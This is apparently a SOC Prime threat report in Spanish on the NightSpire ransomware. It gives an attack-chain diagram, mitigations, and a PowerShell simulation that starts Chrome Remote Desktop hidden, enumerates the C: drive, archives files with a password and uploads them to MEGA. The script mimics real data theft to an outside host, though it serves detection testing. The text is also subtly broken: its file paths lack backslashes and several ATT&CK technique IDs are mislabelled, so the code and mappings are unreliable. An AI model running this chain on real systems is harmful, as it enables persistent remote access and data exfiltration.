SOC Prime Bias: Alto

25 May 2026 16:25 UTC

Cadena de Ataque de Ransomware NightSpire, Herramientas y Tácticas

Author Photo
SOC Prime Team linkedin icon Seguir
Cadena de Ataque de Ransomware NightSpire, Herramientas y Tácticas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

NightSpire es una familia de ransomware basado en Go observada por primera vez a principios de 2025 que utiliza un modelo de doble extorsión, robando datos antes de la encriptación y amenazando con publicarlos en un sitio de filtración basado en Tor. El ransomware añade una .nspire extensión a los archivos encriptados y coloca notas de rescate en cada directorio afectado, incluidos los vinculados a OneDrive. Sus operadores confían en herramientas legítimas de administración remota para mantener el acceso y utilizan utilidades disponibles públicamente para descubrimiento, archivo y exfiltración. Entre marzo y junio de 2025, la campaña impactó al menos a 64 organizaciones en 33 países.

Investigación

La investigación mostró que los atacantes comúnmente obtenían acceso inicial a través de RDP expuesto y luego instalaban Chrome Remote Desktop y AnyDesk como servicios persistentes. Utilizaban Everything para localizar archivos rápidamente, 7-Zip para construir archivos protegidos por contraseña y MEGAsync para cargar datos robados a almacenamiento en la nube MEGA. El encriptador basado en Go se ejecutaba bajo conhost.exe, enumeraba todas las unidades disponibles y encriptaba archivos mientras dejaba los nombres de archivo de OneDrive sin cambios. La fase de extorsión dependía de un sitio de filtración alojado en Tor usado para presionar a las víctimas después de la exfiltración.

Mitigación

Las organizaciones deben reducir o eliminar la exposición directa de RDP, monitorear el despliegue inesperado de herramientas legítimas de administración remota como servicios y aplicar listas de permisos de aplicaciones a binarios como Chrome Remote Desktop y AnyDesk. Las detecciones comportamentales deben centrarse en la enumeración masiva de archivos, la creación de archivos y cargas inusuales a servicios de almacenamiento en la nube. Las copias de seguridad regulares y los procedimientos de recuperación probados siguen siendo esenciales, y los controles de red deben bloquear los puntos de carga de MEGA conocidos. Las defensas también pueden validarse mediante ejercicios de simulación de ransomware controlado, como los ofrecidos por Picus.

Respuesta

Si se detecta actividad de NightSpire, aísle el endpoint afectado de inmediato, termine el proceso del encriptador y recolecte memoria volátil para análisis. Deshabilite cualquier servicio malicioso, elimine herramientas de acceso remoto persistente y bloquee la comunicación de red relacionada. La recuperación debe proceder a partir de copias de seguridad confiables, y los interesados relevantes deben ser notificados. El incidente también debe ser reportado a las fuerzas del orden, mientras los defensores continúan monitoreando el sitio de filtración de Tor asociado en busca de signos de datos publicados.

graph TB %% Definición de clases classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff6666 classDef process fill:#ffcc99 %% Nodos action_initial_access[«<b>Acción</b> – Acceso inicial<br/><b>Técnica</b> – T1136 Crear cuenta<br/><b>Descripción</b>: El adversario accedió a la red mediante Remote Desktop Protocol (RDP) para obtener un punto de apoyo.»] class action_initial_access action tool_rdp[«<b>Herramienta</b> – Remote Desktop Protocol (RDP)<br/><b>Descripción</b>: Permite inicio de sesión remoto en sistemas Windows.»] class tool_rdp tool action_persistence[«<b>Acción</b> – Persistencia<br/><b>Técnica</b> – T1547.009 Modificación de accesos directos<br/><b>Descripción</b>: Instaló AnyDesk y Chrome Remote Desktop como servicios y colocó accesos directos en la carpeta de inicio para autoinicio.»] class action_persistence action tool_anydesk[«<b>Herramienta</b> – AnyDesk<br/><b>Función</b>: Software de acceso remoto; instalado como servicio de Windows y acceso directo anydesk.lnk.»] class tool_anydesk tool tool_chrome_rd[«<b>Herramienta</b> – Chrome Remote Desktop<br/><b>Función</b>: Acceso remoto; se ejecuta como servicio remoting_host.exe.»] class tool_chrome_rd tool action_collection[«<b>Acción</b> – Recolección<br/><b>Técnica</b> – T1560.001 Archivado de datos recopilados<br/><b>Descripción</b>: Usó 7-Zip para comprimir carpetas seleccionadas en archivos protegidos con contraseña tras enumerar archivos con la utilidad Everything.»] class action_collection action tool_7zip[«<b>Herramienta</b> – 7-Zip<br/><b>Función</b>: Comprime datos en archivos protegidos con contraseña.»] class tool_7zip tool tool_everything[«<b>Herramienta</b> – Everything<br/><b>Función</b>: Utilidad de búsqueda rápida de archivos usada para enumeración.»] class tool_everything tool action_exfiltration[«<b>Acción</b> – Exfiltración<br/><b>Técnicas</b> – T1537 Transferencia de datos a cuenta en la nube<br/>T1567.002 Exfiltración mediante servicio web<br/><b>Descripción</b>: Subió los archivos preparados al almacenamiento en la nube MEGA mediante MEGAsync.»] class action_exfiltration action tool_megasync[«<b>Herramienta</b> – MEGAsync<br/><b>Función</b>: Sincroniza archivos locales con el almacenamiento en la nube MEGA para exfiltración.»] class tool_megasync tool action_impact[«<b>Acción</b> – Impacto<br/><b>Técnica</b> – T1486 Datos cifrados para impacto<br/><b>Descripción</b>: Encriptador basado en Go ejecutado a través de conhost.exe, cifró archivos, añadió extensión .nspire y dejó notas de rescate.»] class action_impact action malware_encryptor[«<b>Malware</b> – Encriptador Go<br/><b>Función</b>: Cifra archivos, añade .nspire, deja notas de rescate.»] class malware_encryptor malware process_conhost[«<b>Proceso</b> – conhost.exe<br/><b>Rol</b>: Ejecuta la carga del encriptador Go.»] class process_conhost process %% Conexiones action_initial_access –>|usa| tool_rdp action_initial_access –>|lleva a| action_persistence action_persistence –>|instala| tool_anydesk action_persistence –>|instala| tool_chrome_rd action_persistence –>|lleva a| action_collection action_collection –>|usa| tool_7zip action_collection –>|enumera con| tool_everything action_collection –>|lleva a| action_exfiltration action_exfiltration –>|usa| tool_megasync action_exfiltration –>|lleva a| action_impact action_impact –>|ejecuta| process_conhost process_conhost –>|lanza| malware_encryptor

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: El Chequeo Previo de Telemetría & Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para disparar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntan a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un mal diagnóstico.

  • Narrativa & Comandos del Ataque:

    1. Configuración de Persistencia (T1547 / T1219): Instalar Chrome Remote Desktop (ruta predeterminada) y comenzar su servicio para obtener control remoto persistente.
    2. Descubrimiento (T1083): Utilizar Everything.exe para enumerar todos los archivos en la unidad C:, guardando la salida en una lista temporal.
    3. Archivado (T1037 / T1083): Invocar 7‑Zip para comprimir los archivos descubiertos en un archivo protegido por contraseña.
    4. Exfiltración (T1219.003): Lanzar MEGAsync para cargar el archivo a una cuenta de MEGA.

    La secuencia asegura que selection_remote_access (Chrome Remote Desktop) esté activo mientras al menos uno de selection_discovery, selection_archive, o selection_exfiltration ocurre, satisfaciendo la condición de la regla.

  • Script de Prueba de Regresión:

    # -------------------------------------------------------------------------
    # Simulación de Persistencia Lateral & Exfiltración de NightSpire
    # -------------------------------------------------------------------------
    # Prerrequisitos:
    #   - Chrome Remote Desktop instalado en la ruta predeterminada
    #   - Everything.exe instalado en la ruta predeterminada
    #   - 7z.exe instalado en la ruta predeterminada
    #   - MEGAsync instalado en la ruta predeterminada del perfil de usuario
    # -------------------------------------------------------------------------
    
    # 1. Asegurar que el servicio de Chrome Remote Desktop está funcionando (simula persistencia)
    $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe"
    if (Test-Path $crdPath) {
        Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden
        Write-Host "Chrome Remote Desktop service started."
    } else {
        Write-Error "Chrome Remote Desktop not found at $crdPath"
        exit 1
    }
    
    # 2. Descubrimiento de archivos con Everything
    $everythingPath = "$Env:ProgramFilesEverythingEverything.exe"
    $discoveryOutput = "$env:TEMPfilelist.txt"
    if (Test-Path $everythingPath) {
        & $everythingPath -search "C:" -output $discoveryOutput
        Write-Host "Discovery completed, results saved to $discoveryOutput"
    } else {
        Write-Error "Everything.exe not found at $everythingPath"
        exit 1
    }
    
    # 3. Archivar los archivos descubiertos con 7‑Zip
    $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe"
    $archivePath   = "$env:TEMPexfil_archive.zip"
    if (Test-Path $sevenZipPath) {
        & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!"
        Write-Host "Archive created at $archivePath"
    } else {
        Write-Error "7z.exe not found at $sevenZipPath"
        exit 1
    }
    
    # 4. Cargar archivo vía MEGAsync (exfiltración)
    $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe"
    if (Test-Path $megaPath) {
        & $megaPath --upload $archivePath
        Write-Host "Upload initiated via MEGAsync."
    } else {
        Write-Error "MEGAsync.exe not found at $megaPath"
        exit 1
    }
    
    # Fin de la simulación
  • Comandos de Limpieza:

    # Detener el servicio de Chrome Remote Desktop
    Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue
    
    # Eliminar archivos temporales
    Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue
    
    # Opcionalmente detener MEGAsync si está en ejecución
    Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue